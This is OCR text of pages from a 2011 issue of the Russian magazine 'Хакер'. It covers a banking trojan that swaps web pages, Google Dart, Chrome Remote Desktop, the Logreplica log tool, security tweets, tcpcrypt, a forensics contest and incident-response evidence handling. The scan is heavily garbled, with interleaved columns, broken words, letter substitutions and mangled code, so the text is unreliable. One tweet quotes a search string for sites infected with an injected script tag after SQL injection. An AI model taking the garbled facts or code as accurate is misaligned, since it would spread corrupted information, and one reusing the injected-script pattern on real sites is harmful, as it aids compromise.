в последнюю очередь благодаря тому, что код языка Daгt пока

банка, троя н на лету по д меняет страницу и запрашиваеттек у щ и й

компилируется в обычный JavaScгipt.

переанальный код , который якобы нужен для завершения реги с тра­

На серверной стороне приложения Daгt могут исполняться на

ции на новом бесплатном сервисе по обеспеч е нию безопасн о сти.

специальной виртуальной машине Daгt . Также

Е ел и у жертвы не возникает н и каких подозрений , злоумышлен ник и

включить виртуальную машину Daгt в Chгome , что позволит соз­

получают идентификатор, необхо д имый для замены номера теле­

давать клиентские приложения, исполняемые прямо в браузе ре

фона в учетной за п иси клиента. После этого ж ертве сообщают, что в

Google

или в операционной системе Chгome

Google

планирует

05 .

целях усиле н ия з ащ и т ы от мошенничества ей будет выделен особый те л ефонный номе р , а по п очте при д ет соответствующая

51М-карта.

Ключевые преимущества н ового языка таковы :

Суд я п о оформ л ению фал ьшивой страницы, которуюуд алось раздо­

Н а л ичие классов и ин т ерфейсов, поддерживающих и н ка п су­

быть исс л едо в ател я м, т акая атака пока ориентирова н а только на

ляцию и пов т о р ное использование мето д ов и д а нн ых.

Наличие оп ционал ьн ых типов, позволяю щ их переходить от

испаноязычныхпользо в ателей.

самы х про с ты х приложений к сложным модульным системам и и с пользовать де ба ггеры для пр о верки типов .

РОССИЙСКАЯ ТАМОЖНЯ ПРИРАВНЯЛА ПЛАНШЕТ К НАВИГАТОРУ

Возможность создавать и использовать библиотеки , которые

гарантированно не будут изменяться во время выполнения. Наличие обширного инстр у ментария . Daгt- зто не только я з ык , но и множество с ред выполнения , библиотек и инстру­

НАША ТАМОЖНЯ ТЕПЕРЬ РАССМАТРИВАЕТ ПЛАНШЕ­ ТЫ С GРS-МОДУЛЕМ КАК НА­ В И ГАТОРЫ. А .ЭТО ОЗНАЧАЕТ, ЧТО ПРИ ВВОЗЕ НА ТЕРРИ­ ТОРИЮ РОССИИ ОНИ БУДУТ

ОБЛАГА"(ЬСЯ АОПОЛНИ- v ТЕЛЬНОМ 5°/о-И ПОШЛИ НОИ.

ментов для разработки и поддержки я з ыка. В помощь раз­ работчик у планируется создать множество допо л ни т ельны х программ.

Интересно, что D aгt - не пер в ый проект по д обного ро д а д ля

Google.

В

2006 году компания

выпустила

Google We b Toolkit, п о­ Java . Н а Google Wave . Тем не менее

зволяющий создавать веб - приложения полностью на нем , к примеру, работают Adwoгds и

Google Web Toolkit

нель з я назвать о с обенно удачным проектом . А

ведь в нем реализованы практически все преимущества и фишки

языка Daгt, которые столь активноре к ламирует Google ... Поклонникам Daгt еще предстоит доказать, что всехдо­ стоинств этого языка достаточно, чтобы перейти на него . Daгt уже подвергся довольно жесткой кри т ике со стороны многих

разработчиков , которые уверены , что и этот п роект

Google << Не

выстрелит » .

ХАКЕР

www.epidemz.net

12/ 155/2 011


EUROPEAN АТМ SECURITYTEAM СОО6ЩАЕТ, что количество с ким м еров, устанавливаем ых на банкомат ы , со к рат и лось на ЗЗ %.

УДАЛЕННЫЙ РАБОЧИЙ СТОЛ В

Jt •• su (ВЫК'rn)

CHROME

В GOOGLE РАЗРАБАТЫВАЮТ НОВОЕ РАСШИРЕНИЕ Удаленный рабочий стол

ДЛЯ БРАУЗЕРА, ПОЗВОЛЯЮЩЕЕ ПОЛУЧИТЬ

Chrome ВЕТА > Подключение

УДАЛЕННЫЙ ДОСТУП К РАБОЧЕМУ СТОЛУ ПК тало известно, что компания

П(Ц)ОСКП! nопьэоватеnя, к ICOМII.Юtepy кoroporo хоткrе I'IOAIQ'IOЧ&cn.cя, наать 'Опсрьт. дocryn к этому kOt.O>IOтepy' и nерела 'УЪ вам код дOCJ'YIW.

Google работает над сервисом,

который позволит пользователям двух любых компьютеров

IGtO{J(V

Код достуnа

соединяться друг с другом. Для использования такой системы пирингавой связи потребуется только доступ к интернету и, разумее т­

ся, браузер Chгome. Приложение, которое получило название Chгome

Remote Desktop, сейчас находится

в стадии бета-тестирования.

Новинка войдет в версии браузера для

Windows, Мае 05 и Linux, а также Remote Desktop уже доступен

появится в Сhгоmе-планшетах. Chгome

в виде бета-версии расширениядля Chгome. Подобный сервис будет полезен как д ля служб ! Т- п од д ержки, так и для обычных п ользова­

телей, которые хотят напрямую связываться друг с другом . Функция

для удаленного доступа к собственному компьютеру пользователя lno постоянному коду аутентификации! появится немного позже. Текущая бета-версия расширения создана только для того , чтобы собрать от­ зывы пользователей .

В

Google п одтверж д аю т, ч т о в

первую очере д ь э т о приложение ори­

Удаленный рабочий стоn

Chrome ВЕТА ' Общий доступ

ентировано на бизнес- п ользователей, испытывающих необходимость впрямойкоммуникации,атакженаслужбытехническойподдержки .

Кроме того,

Google планирует встроить в Chгome

Чтобы [1)еДОСТаа.пь друrому попьзоватеnо достуn к рабочему стwу, nepeдallтe еМf

ПО, которому пред­

уQЗа.....-.нксекод.

стоит конкурировать с популярными системами интернет-телефонии.

Новинка будет базироваться на протоколе WebRTC IReal Time Communicationsl, имеющем открытый исходн ы й код и предназначенном для организа ц ии аудио- и видеочатов . Google н адеется, что WebRTC

4615 2551 7896 Сеанс начнется nосле ввода этоrо кода.

станетвеб-стандартом для конференций и пиринговых коммуникаций за счет полного набора технологий, позволяющих создавать системы связи . В б логе компании сообщается, что исходный код новинки

доступен уже сейчас и его использование не требует лицензионных от­ числений . Кстати, с техническойточки зрения ничто не мешаетWеЬRТС

работать также с браузерами О ре га и

Mozilla. Таким образом, ес л и Goog le сможет привлечь на свою сторонухотя бы Mozilla и Орега, то в

Судя по вс ему, в Google решили созда ть ал ьт ернативуТеаmV iеw е г

трех основных браузерах появится законченная бесплатная технология дляпроведения конференций.

нижнем уровне Р2Р-соединение реализовано с помощью открытой

По идее, смартфоны также могут поддерживать WebRTC. В

библиотеки

Google

через релей

пока не говорят, когда именно новая разработка появится в Chгome. Известно, ч то в WebRTC используются два ко д е ка, которые ранее были

закрытыми:

iSAC д ля

ш ироко п олосных сое д и н ений и

объемов трафика, -а также применяется открытый

V8 . Благодаря

КОЛЛЕКЦИЯ

PARKER INGENUITY

ТЕХНОЛОГИЯ

которая поддерживаеттранспорт по

В данном случае используется

iLBC для снижения видеокодек Google

UDP и ТСР или

PseudoTcp- реализа ц ия libjingle,

котораяобеспечиваетна д ёжноесое д инение. П оверхсессииустанавли ­ вается SSL-соединение. Д ля работы со с т руктурированными данными и

синхронизации фреймов используется pгotobuf IPгotocol Buffeгsl.

рассылке группы chгomium . oгg стало известно , что на

ЧЕРПАЕТВДОХНОВЕНИЕ ИЗ

libjingle, Google.

PARKER 5ТН TECHNOLOGY

ЮВЕЛИРНОЙ ПРОМЫШЛЕННОСТИ,

Компания PARKER разработала

сов р еменного ПОАХОАа КАиэайну

тонком корпусах , черпая ВАОХнове­

ГДЕ ВО ГЛАВУ ПОСТАВЛЕНЫ

новую тех нологию, способную и зме­

аксессуаров. Коллекция Рагkег

ние в новейшихтенАенцияхАиэайна .

ИЗЯЩНОСТЬ И РОСКОШЬ В

нить привычное восприят и е письма .

lпgeпu ity соэАана на базе технологии

Смелое сочетание металла, шерохо­

ВЫДЕЛКЕ АКСЕССУАРОВ ДЛЯ

Рагkе г STH Techпology назва н а так,

Ра гkег STH Technology; сочетая в себе

ватогоэффекта мягкой каучуковой

МУЖЧИН И ЖЕНЩИН

поскольку является с овершенно

превос хоАНЫЙ стиль и элегантность,

поверхностискольцевойАеталиров­

новым, пя т ым по счету поколением

эта коллекция является неэамени­

кой СОЭАаЮТ преВОСХОАНЫЙ АИЭаЙН

письменных принаАлежностей.

мым аксессуаром АЛЯ современных

ручки, который отвечает новейшим

О н а стала результатом обширного

мужчин и женщин. Коллекция Рагkег

технологиям проиэвоАства часов

исслеАованияпотреб н остейпо­

ln gепuitувыпускается ВАВУ Х МОАе­

веАущих маро к.

купателей, выявив необхоАимость

ля х: в увеличенном элегантном и

ручки , объеАиняющей в себе важ­ ность современного пишущего узла , превосхоАную мягкость письма и

УАОбство бы строй замены стерж ня . Этанетолькотехнологически й прорыв, но и безусловный пример

Х АКЕР

12/155/2011

015

www.epidemz.net


HEADER

КОЛОНКАСТЁПЫИЛЬИНА

Про то, как я собирал лаги с разных серверов

Место,

#

ЧТО ИСПОЛЬЗОВАТЬ?

где будут централизованно собираться логи

destination = /var/log/cluste r

Каждый,комуприходилосьадминистрироватьнесколькосерверо~ Список исключений

(что не надо мониторить)

наверняказадумывалсяотом,какагрегироватьлогисовсехсвоих

#

серверов в одном месте. Так случилось и со мной. Сначала я хотел

skip_destination_prefixes = /var/log : /var/lib/ pgsql/data/logs

найти какой-нибудь модный онлайн-сервис, но что новомодные

Loggly, что

Spluпk бесплатно предоставляли лишь очень ограничен­

ные лимиты по объему хранимых лог-файлов и времени их хра нения.

А платные эккаунты оказались очень недешевы. К тому же, они

Незначительные

#

настройки

scoreboard = /var/run/dklab_logreplica.scoreboard delay = 0 . 25

подразумевают, что данные журналов будут передаваться через

syslog/syslog-ng, а лично мне это не всегда удобно. Несмотря на то, что

#

решение во многом является стандартом де-факта, не в се сервисы

user = root

Пользователь по умолчанию дпя обращения к удаленнь~ машинам

его nоддерживают. Это во-первых. Во-вторых, данные во время пере­

дачи на сервер по сети могут безвозвратно потеряться. В-третьих, конфигурирование для специфических задач может оказаться до­ вольно геморройным. Д а и, по правде говоря, хочется просто сказать:

«Забира ть лаги по маске т акой-то с таких-то машин>>. В попытке найти standaloпe-aнaлoг проекта

Loggly,

который можно установить у себя,

# #

Указыаем файлы-логи, всех

источниках

которые необходимо мониторить во

логов

на

других машинах

[bles] /var/log/{ me ssages,maillog} /v ar/log/httpd/*_log

я наткнулся на классный проект Gгaylog [ www . gгaylog2.oгg/about l, представляющий собой мощную систему, которая хра нит лаги в базе

#

данных

ния лагами. В деталях с ним мне разобраться не удалось, но зато я до

[hosts] first=machinel.example.com

сих пор не нарадуюсь другому проекту- утилите Logгeplica [ dklab.гu/

secoпd=пobody@machine2.exa mp le.com

MongoBD

и предоставляет удобный интерфейс для управле­

Список хостов,

с

которых необходимо собирать логи

liЬ/dklab logгeplica l. Это именно то, что я искал. Вот и все . Остается скопировать инит-скрипт dklab_logгeplica.

КАК РАБОТАЕТ?

init в /etc/init .d и настроить его автозапуск при загрузке маши­

Проще подхода для сбора логов не придумаешь : Log гeplica обходит

ны. Далее выполняем «/etc/init.d/dklab_logгeplica staгt>>, чтобы

по

logгeplica начала собирать лаги с удаленных машин.

SSH

указанные ей сервера и собирает все указанные ей лаги,

постоянно проверяя их на обновление . Все , что нужно сделать,­ э то один раз указать маску имен файлов, за которыми нужно

с ледить, и обозначить адреса серверов, с которых необходимо эти

КТО РАЗРАБОТАЛ? Разработчиком этой замечательной проги является Дмитрий

лаги собирать . И все- с этого момента утилита в сегда доставит

Катеров, известный своим проектом « Денвер>> [ www.denweг.гu l, а

их актуальную версию в централизованное хранилище. Для моих

также книгами по РНР [хотя код logгeplica полностью написан на

задач этот подход подходит лучше всего. Если раньше nриходи­

Регl]. ::Х:

лось задумываться: «А поддерживает ли этот сервис передачу

логов на удаленный сервер через syslog/syslog-ng?», то Logгeplica это все равно . Утилита заберет любые лаги, nросто опираясь на их

dklab_logreplica 1 dklab_logreplica.pl fj 100755

имена- а все остальное ей неважно.

459 line' (402 elocl

11.112

useвtrict;

КАК НАСТРОИТЬ?

ue

fcntl ~(:DE~t!l.!

:tloc.kJ;

use to::Select;

Еще один плюс такого подхода в том, что на машинах-источниках

ш•

F1le::Fat.h;

flle::h•tiii.DI!;

не нужно ничего настраивать [и тем более делать это для каждого

Шlt!

/Oeu;Jpt::LoQq:

uи tl1~:st:

:IO!S

~(Jid5_Mat :

отдельного сервиса]. Е сли на машинах установлен публичный ключ лог-сервера, они сразу же оказываются в строю. Если же

нет, нужно создать закрытый и открытый ключи [nри помощи

ssh-keygen -t гsal и разложить их по машинам, откуда необходимо собирать лаги [ssh-copy-id гootramachine-to-be-pulled]. Конфи­ гурирование самой Logгeplica осуществляется через простой

•dJrlaЬ_logreplla: ;athtr• lOQ3 trc. .ultlple ~r.o~chlllt!s 1ntO ont place 1n t-elltUit.\11" . ""Ver•1on: 1.10, 2011·0'·27\n· • ";\\:t.Ьor: <1kLib, hиp:/ten . dtlatl.ru;l1Ыdlrla!)_loo~pltc./\n" . •L1ce:\se: GPL\n• .

конфиг [/etc/dklab_logгeplica . conf], в котором задается список

·osa;oe:\n" . 'O~th-to-c:cn!lQ-!ilt\o• :

машин для сбора логов, маски имен лог-файлов , директория для централизованного хранения журналов:

Исходники Logreplicaдocтynны на GitHub

ХАКЕР

016

www.epidemz.net

12/155/2011


Алексей Cинцoв lliJasintsovl

~~

# hacker tweets raFishermansEnemy:

rajmj: Дорогой алгоритм

Для тех, кто беспокоится по

Встретил вчера чувака с серти­

Facebook,

спасибо тебе за предложение

фикатом

CISSP, который слышал о Metasploit.

стать другом нового бойфренда

не

поводу

никогда

рассказать на

моей бывшей. Он выглядит клево .

ба г

rastackSmashing: -2147483647 дней прошло raDidierStevens:

pOennisRitchie = NULL;

Syscan

и lnfiltгate. Короче,

= халявное путешествие в экзотиче­

скую страну.

с l ntegeг.

//:-1

то есть по пово­

с

момента последнего инцидента

fгeelpDennisRitchie);

NМ FB,

ду бага, о котором я собираюсь

El

Комментари й:

NMFB-

NoMoгe F гeeBugs­

Н икаких Больше Багов на Халяву. Мол, хотите узнать про ба г- платите. А для

El

Комментарий:

некоторых путешествие в другую страну

Этот месяц- просто месяц потерь .

Яндекс заплатит пять тысяч

Ведь наряду с такими великими людьми, как

долларов за обнаружение уяз­

Ритчи и Стив, в этом месяце от нас ушел еще и создатель языка

Lisp

Джан Маккарти.

тоже своего рода плата за инфу о баге .

вимастей на своих сайтах :

live.

xakep.гu/biog/Hack/2147.html .

ramikko: Интересно, начал бы кто­

raox6D6172696F: С. Глазунов- Чак Н оррис << Гугл Хрома>>.

El

нибудь жаловаться, если бы

Комментарий :

И конечно, рекордная для wеЬ-уязвимостей сумма . Думаю, после обката этой идеи на

Ьit.ly/г l bsue .

мы добавили сигнатуру для

Первый подобный конкурс в России.

IE6

в наш антивирус F-Secuгe? На п ример:

<<Найден

W32/IE6.a, удаление .. .»

конкурсе отечественный гигант интернет­ поиска введет программу вознаграждения

Комментарий:

Сергей Глазунов, студент Т юменекого государственного университета, в очередной

за обнаружение уязвимастей на своих

rasamikoivu: Впервые с 2008

ресурсах.

выполнения кода в новой вер­

баги в Chгome, чем и заслужил уважение

rastamparm: П оиск в Google

коллег la еще получил немного денежек от Google). В этом релизе есть даже обход cгoss-oгigin

policy!

сии по запросу

Java.

Если у вас стоит

raconanOBrien:

NET)/MSSQL SQLi #fact

Месяц поиска уязвимастей на Яндексе : приз нашедшему наи­ более опасную уязвимость-

$5000

El

El

С нетерпением жду, когда у ме н я появятся внуки, чтобы поделить­

Комментари й :

Да-да. Произошло тут, значит, массо­

вое заражение сайтов через

SQLi.

Логично,

что зараженные сайты можно <<nоломать»

ся с ними своим опытом. Мне бы хотелось рассказать им об Angгy Biгds, Angгy

Biгds

Rio

и Апgгу Biгds

силами независимых ресерчеров. Пока, к сожалению, в виде конкурса.

Seasons.

ещё раз:).

Комментарий :

Яндекс тестирует систему поиска дыр

вы должны

даст тебе несколько миллионов

сайтов, гарантированно уязвимых l!) к ASPI.

;).

Java,

обновить её.

"'</title><scгipt sгс" uгchin .js'

Скромный и скрытный

парень, и мне остается только гордиться тем,

что я знаю того, кто знает его

года у меня

нет эксплойтов для удаленного

раз нашел самые критичные и прикольные

liiBreakiingNews: 75% не могут найти ошибку в этой штуке: 1 2 3 4 5 6 7 8 9 1О 11 12 131415- РеТвитни, если ты

VU?EN

liiVUPEN: MS Windows 0-Оау, который экс­ плуатируется Ouqu и вызван уяз­ вимостью в обработке Т гuе Туре­

шрифтов. Блокировка

El

предот­

Комментарий:

Друг, брат или сын ... короче род­

ственник, червя

Не могу дождаться, когда увижу

T2EMB ED.OLL

вращает атаку Ьit . ly/sqYUgo

StuxNet

использовал

0-day

футболку с принтом: << Я сообщил

Для тех из нас, кому пасчастли­

уязвимость парсинга шрифтов в ядре ... ох

об уязвимости в

вилось работать со Стивом, это

ты-ж ёжик!

Secunia

и все

что я получил- эту лузерекую футболку>> .

Нет уж спасибо ... #nomoгefгeebugs

была безумно великая честь. Мне будет очень не хватать Стива.

117

JWCIII 12/155/2011

www.epidemz.net

·


HEADER

Proof-of-Concept ЗАШИФРОВАТЬ ВЕСЬ ИНТЕРНЕТ

Современный интернет строится на протоколах, которые чаще всего не обеспечивают безопасную передачу данных. По этой причине мы часто пишем о решениях, позволяющих зашифровать

трафик и таким образом препятствовать его перехвату. Создатели

проnисав несколько дополнительных правил.

Но вместе с установочными данными постав­ ляется отличная пошаговая инструкция.

ИСПОЛЬЗОВАТЬ ЛИ? 79 % по с етителей

Примерно

официально г о

нашего сегодняшнего РоС поставили амбициозную и даже дерзкую

сайта проекта использую т Тсрсгурt

задачу- зашифровать весь интернет. Не с помощью отдельного

но, для любых других сайто в э т от пр оце нт

приложения, коих сотни, а специально разработанного протокола

Тсрсгурt [ tcpcгypt.oгg ], который совместим с обычным ТСР и «из

:). Конеч­

будет микроскоnическим. П ока протокол

находится в состоянии черновика (lnteгnet Dгaft) , скорее всего, ничего не изменится (хорошая презентация д остуnна здесь: Ql.L ly/tyvG xs). Но если есть решение, которое

коробки» поддерживает шифрование .

позволяет безболезнен н о добав ить е щ е один

уровень защиты данных, то почему бы им не воспользоваться?

В ЧЕМ ПРИКОЛ?

КАК ИСПОЛЬЗОВАТЬ?

Установи новый протокол на рабочие ма­

шины (не nроблема , если они работают через

трафик. В отличие от многих других решений,

Ис х одники протокола открыты (github.com / soгbo /tcpcгypt ) , позтому собрать все необхо­

он работает «из коробки >>: не требует с ло ж ­

д имое можно вручную. Но делать это н еза ч ем,

ся, что д анные действительно п ере д аютс я в

ного конфигурирования ОС и дополнительной

потому что на официальном сайте доступны

зашифрованном виде. Важно, что пр о пу скная

настройки пр иложений. С переходом на новый

установщики для разных ОС

способность в случае Тсрсгурt не ограничена

протокол все имеющиеся соединения будут

05 Х, Linux, FгeeBSD) .

по-прежнему работоспособными, а исполь­

состоит из двух компонентов : специального

это бывает в случае VPN-cepвepa). Ш ифрова­

драйвера ядра (4500 строчек кода) и useгland­ дeмoнa (7000 LoC).

чески без накладных расходов ( прим ер но в

Все просто. Тсрсгурt криптует весь сетевой

зование нового протокола станет для них

прозрачным. Секрет в полн ой обратной совме­

стимос ти Тсрсгурt со ста ндар тным ТСР. Да же

(Windows, Мае

Виндавая реализация

Для установки достаточно открыть на ­

NAT), попробуй поснифать трафик и убе дить ­

шириной канала какого-то посредника (как ние осуществляется очень быстро, практи­

36 раз б ы стрее SSL) . Соот в е т с тв ен но данны е

если удаленный хае т не поддерживает н овый

стройки нужного сетевого интерфейса и

передаю т ся не сильно медленнее, чем в от­

протокол, соединениеавтоматическиустано­

установить дополнительный nротокол через

крытом виде.

вится с использованием обычного протокола.

стандартный мастер, выбрав в качестве

Получается очень выгодная схема. Ты можешь

драйвера файл netsf. i пf . После этого , дополни­

сен Тсрсгурt? Разработчики пр иводят д ока­

установи ть Тсрсгурt, который автоматически

тельно, необходимо запустить демон Тсрсгурt .

зательство состоятель но с ти шифрования, но

будет за де йство ван , когда это возможно, и не

В случае с niх-системами установка немного

предупреждают о возможности про ве дения

будет мешать во всех остальных случаях .

сложнее : придется повозиться с файрволом,

активной МIТМ-атаки . ::Х:

t?

.!!!

"' с

о

fj

Q)

Generate random master key ~~~~~~

с

с

о

()

Последний вопрос- насколько безопа­

70000 60000 50000 40000 30000 20000 10000

19,153 737

о ТСР

client tcpcrypt универсален:

server если какая-то из сторон не поддерживает новый

протокол, используется привычный ТСР

serveг

tcpcrypt server

SSL server

SSL может быть в 82 раза медленнее открытого ТСР. tcpcrypt медленнее ТСР лишь в три раза!

ХАКЕР

018

www.epidemz.net

12 / 155/ 2011


КОНКУРС! ЖУРНАЛ «ХАКЕР» И КОМПАНИЯ

IGROUP iв

GROUP-IB, СПЕЦИАЛИЗИРУЮЩАЯСЯ

НА РАССЛЕДОВАНИИ

ИНЦИДЕНТОВ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ, ПРЕДСТАВЛЯЮТ УНИКАЛЬНЫЙ КОНКУРС КОМПЬЮТЕРНОЙ КРИМИНАЛИСТИКЕ. ПОБЕДИТЕЛЬ ПОЛУЧИТ ВОЗМОЖНОСТЬ РАБОТАТЬ В ЛАБОРАТОРИИ КОМПЬЮТЕРНОЙ КРИМИНАЛИСТИКИ GROUP-IB.

no

В Лабораторию компьютерной криминалистики

Group-18

поступили на экспертизу два

образа носителей информации, и только тебе под силу пролить свет на произошедшие инциденты. Ответь на поставленные вопросы и укажи иные сведения, которые помогут в расследовании инцидентов информационной безопасности.

СЛОМАННЫЙ LINUX ВРЕДОНОе НА ФЛЕШКЕ от

· ·

·

ачкову

О6стоятеnьства ми 3

ркадьева

года Департамент инфо

« Пикатинни >> зарегистрир

бьlл зарегистриро-

ванинцидент ин

виртуального серве-

связанныи с

авлением операци-

о << взломом >>

ynp L· пux В этот же день р а ' работающего апод основе 1 ·

онноi\ системы н ючен и наnравлен ер был откл

-

указанныи серв исследование. на криминалистическое

рмационнои безопасности IДИБ) ЗАО

нии, составляющих ком

приятия. В рамках проводимого в н т

мным администрато-

кин хвост>>

-

• овал инцидент инфор _ связанный с утечкой сведе _ мационнои безопасности

наkопитель USB Flash при н

цмдента:

ноября 2011 года систе

р ом 000 « Ласточформационно и" безопасности,

Уважаемый Иnья Константинович! 2 ноября 2011

3 ноября 2011 года

Дата инцидента:

начальника Департамента информационной

безопасности ЗАО «Пикатинни» С В А

000 «Ласточкин хвост>>

Место инцидента :

Директору компании Group-IB и к С ·

взлом

Тиn инцидента:

' мерческую тайну пред -

у ре_ннего расследования был обнаружен

воnросы криминалмету . вленном образе еле-

' адлежащии одному из предосложительна связан с инц сотрудников, который идентом. Работника ДИБ б криминалистический образ н ми ыл создан акопителя в формат dd l ) шеизложенного прошу Вас е гаw . С учетом вы' провести криминалист о б раза носителя информации ическое исследование иустановить какие ношение к инциденту на · нем ' сведения, имеющие от' записаны.

1. имеются ли

в nредоста

-

а к исследуемо и рного достуn ды неnравоме ? ? Е ли да то какие

системе

2.

с

мnрометированы в

'

Какие данные были..се~оНа основании каких исследуе

мoil систе...

б

nризнаков ыл с

·

делан этот вывод?

Вопросы криминаnисту:

Имеются ли в предоставленном об азе то на основании каких признака р б вредоносные программы? Если да

в они ыли приз ' их ф ункциональные возможное наны таковыми? Каковы ствия? Каковы обетаятельет ти и осуществляемые сетевые взаимодей-

ва установки и работы этих программ?

накаwем ovo ты найдешь образы носителей для

криминалистического исследования.

Решение з адания следует оформить в виде электронного документа

Наnравь свое эк с nертное з а­

с учетом требований к оформлению криминалистически х отчетов и с

ключ е ни е на

nрименением законодательно закреnленной терминологии . Процесс

с nом е ткой « Конкурс >> и получи

исследования опиши максимально nодробно с указанием исnользо­

возможность nоработать с луч­

ванных программных с редств и особенностей их nрименения .

шими криминалистами России .

contestlagroup- ib.ru

www.epidemz.net

Будь с нами! Стань одним иэ нас!


COVERSTORY

Ни к итин Сергей , ведущ ий специалист по компьютерно й к риминалистике,

Group-18

Реагирование на инциденть1 ИБ СОХРАНЯЕМ, ПРОТОКОЛИРУЕМ И ОПЕЧАТЫВАЕМ! Заражение вирус ами ,

DDoS,

попытк и взлома , утечк и

конфиденциальной инфор­ мации

... все

эти инциденты в

рабочих ИТ-системах иногда бывает нужно расследовать . Отечественная судебная си ­

РЕАГИРОВАНИЕ

скорее всего , удалена, то придется изымать

Реагирование на инцидент в любой информа ­ ционной системе включает в себя технические

весь носитель целиком для ее восстановления .

2)

Файлы в файловой системе

мероприятия, которые обес п ечивают целост­

П оложим, н а м н еобход имо ско п ировать

ность кримина л истически зна ч имых д анных дл я

тол ь ко ря д д окуме н тов, заре г истрирован н ых в

их судебного исследования в будущем, а также

файловой системе на носителе информации. В

организа ц ионные мероприятия, которые по­

таком случае изымать весь носитель не имеет

зволяют снизить ущерб от инцидента и составить необходимые для правоохранительных органов

смысла.

Зl Результаты работы некого программнаго обе­ спечения

документы .

Суть техни ч еских м еро пр иятий состоит в

Часто важ н ая и н формац и я хра н итс я в вид е

немедле нн ом обеспечении целостности данных,

резул ьтатов работы н екой системы . Н апри­

потенциально имеющих отношение к инциденту,

мер,

важно сохранять носители

путем отключения, упаковки, опечатывания и

информа ции. Копировать всю БД DL Р-системы

и нформации в не и зменном

должного хранения соответствующих носителей

нет никако го смысла. Н еобход имо выгрузить

информации. Отключение носителей информа ­

только важные сведения.

стема настаивает на том, что

в случае инцидентов кра й не

состоянии и максимально

ции позво л яет свест и к н ул ю р иск у н ич тоже н ия

точно и правильно оформ ­

криминалисти ч ески значимых д а нн ых в резул ь­

ля т ь выгружаемую из раз­

личного оборудования и програ м многа обеспечения информацию. Как это сде ­ лать, мы и расскажем в этой статье .

DLP зарегистрировала

некую утечку

4) Информация из внешних систем Это жур н алы п од ключе н ий п ро в айдера,

тате работы вредоносных программ и действий

веб-хостера. Все важные сведения, которые

злоумышленника, а их упаковка, опечатывание

хранятся не на оборудовании организации и

и должное хранение обеспечивают необходимую

которые можно запросить.

оцениваемую достоверность результатов крими­ налисти ч еско г о иссле д ова н ия в суд е.

Организа ц ио н ные мероприятия заклю ч аютс я

в уведом л ении подразделений !служб) информа­

ВЫПОЛНЯЕМЫЕ ДЕЙСТВИЯ Н еобход и м о т щател ь н о д окуме н тировать все выполняемые действия. Жел ательно приелекать

ционной безопасности и руководства организации

независимых специалистов, которые не имеют

о факте инцидента. Документы, составленные

личной заинтересованности в результатах рас­

во время организационных мероприятий, могут

следования, и приглашать сви детелей, которые

служи т ь основанием для вы н есения решения о

могли бы уд остоверить факт вы п олнения указан ­

возбужде н ии у гол ов н ого дел а и л и о н азна ч ении

ных действ и й .

судебной экспертизы носителей информации,

11 В случае если компьютеры, имеющие отноше­ ние к инциденту, можно отключить, необходи­

принадлежащих организации.

мо выполнить следующие действия:

ВЫЯВЛЕНИЕ дАННЫХ, ИМЕЮЩИХ ОТНОШЕНИЕ К ИНЦИДЕНТУ

П режде все го необходи мо вы яс н ить, где на­

Изв л ечь э н ер го н еза ви с и м ы е н осител и и н ф ор­

У п аковать и опечатать извлеченные носи тел и

Скопироватьжурналы систем контроля доступа

имею щ ие от н оше н ие к и нц и д енту.

ходится информа ция, кото р ая имеет отно ш е н ие к инциденту. Выстроим некую иерархию.

мации.

11 Носитель информации Любой носитель информации, на котором мо­

Немедленно отключить работающие ЭВМ,

информации.

гут наход иться нужные нам сведения. Нап р и­

в помещения, занимаемые организацией,

ме р, если сотрудн ик п одозревается в рас пр о: стра н е н ии ко н фиде нц иал ьн ой и н форма ц ии,

и д ругих систем ! ко н трол л е р а домена, IPS, DLPI. жу рн алы п од ключе н ий, за п иси систем

это хард его ком п ьютера. Так как информация,

ви д еонабл юдения в офисе или офисном центре

ХАКЕР

020

www.epidemz.net

12/155/ 2011


Реагирование на инциденты ИБ

ПРИМЕР: ЗАПРОС ИНФОРМАЦИИ

У ПРОБАЙДЕРА Просим вас предоставить статистику сетевых взаимодействий с IР-адресом

8.8.8.8,

который

используется маршрутизатором в локальной вы­ числительной сети

1 по 25

октября

000 << Ромашка », за период с 20 11 года в связи с проводимым

расследованием инцидента информационной безопасности.

Договор на оказание услуг связи июня

2000

N22241

от

19

года .

Главный специалист отдела безопасности

000

<<Ромашка»

[подпись! И . И. Иванов

Caine- Computer Aided INvestigative Environment

Важное их отличие от прочих

ИСПОЛЬЗУЕМЫЕ ИНСТРУМЕНТЫ

за максимально возможный промежуток

livecd

в том,

что эти дистрибутивы не монтируют файло­

времени. Записать соответствующие журналы

Если необходимо провести внутреннее рас­

вы е системы никаких носителей информации

и видеофайлы на компакт-диски, упаковать и

следование, то перед опечатыванием носителя

автоматически. Они nозволяют работать с

опечатать их.

можно сделать его полную пос екторную копию.

носителями в режиме << Только для чтения>>.

Составить акт, отражающий характер истики

Важно о тл ичать такую копию от обычной, соз ­

Если в структу ру оригинального носителя были

упакованных и опечатанных носителей и дру­

даваемой большинством програм м в процессе

внесены какие- либо изменения, это обяза­

гую важную информацию .

резервно го копирования . Полная посектор-

тельно обнаружится во время экспертизы, благодаря чему доказательство может быть

Передать упакованные и опечатанные но си­

ная копия позволяет восстановить данные и

телиинформациинахранениевспециальном

обнаружить в том числе и удаленную с носителя

призн ано ничтожным. Сам образ [полную nо­

помещении или в сейфе.

информацию.

секторную копию! можно создать с nомощью па кета DCЗDD. Для работающих систем [то есть

Для создания посекторной копии

21 В случае если компьютеры, имеющие от­

рекомендуется использовать следующие

ношение к инциденту, отключить нельзя,

необходимо выполнить следующие действия: Действия аналогичны, за исключением того,

дистрибутивы

Linux: Caine [http:Uwww.caine-live.net/l, Riplinux [ http:Uгip. 7Ы.de/cuггent/l .

что вместо отключения ЭВМ, изъятия и опеча­ тывания носителей информации, необходимо

не отключенных! рекомендуется использовать nрограмм у Access Data FТК lmageг lh1!.!2;LL accessdata.com /suppoгt/adowпloads l, которая распространяется свободно . Кроме того, она nозволяет снимать nолный дамп оперативки,

Они свободно рас пр остраняются в виде об­

снять с них ко пию данных, записать ее на

разов, которые мож н о записать на

CD\DVD или

внешние носители информации и опечатать их.

USВ-носители, а затем загружать с них.

что может nр игодиться в случае заражения

компьютера вредоносным ПО . При сборе какой-либо информации на работающей системе нельзя копировать данные

!содержимое оnеративной nамяти , энергонеза­ висимых носителей информации! на носители, входящие в состав ЭВМ . Следует использовать

ОШИБК~ ПРИ РЕАГИРОВАНИИ НА ИНЦИДЕНТЫ С УТЕЧКОИ КОНФИДЕНЦИАЛЬНЫХ ДАННЫХ

внешние носители достаточной емкости, не имеющие отношения к инциденту .

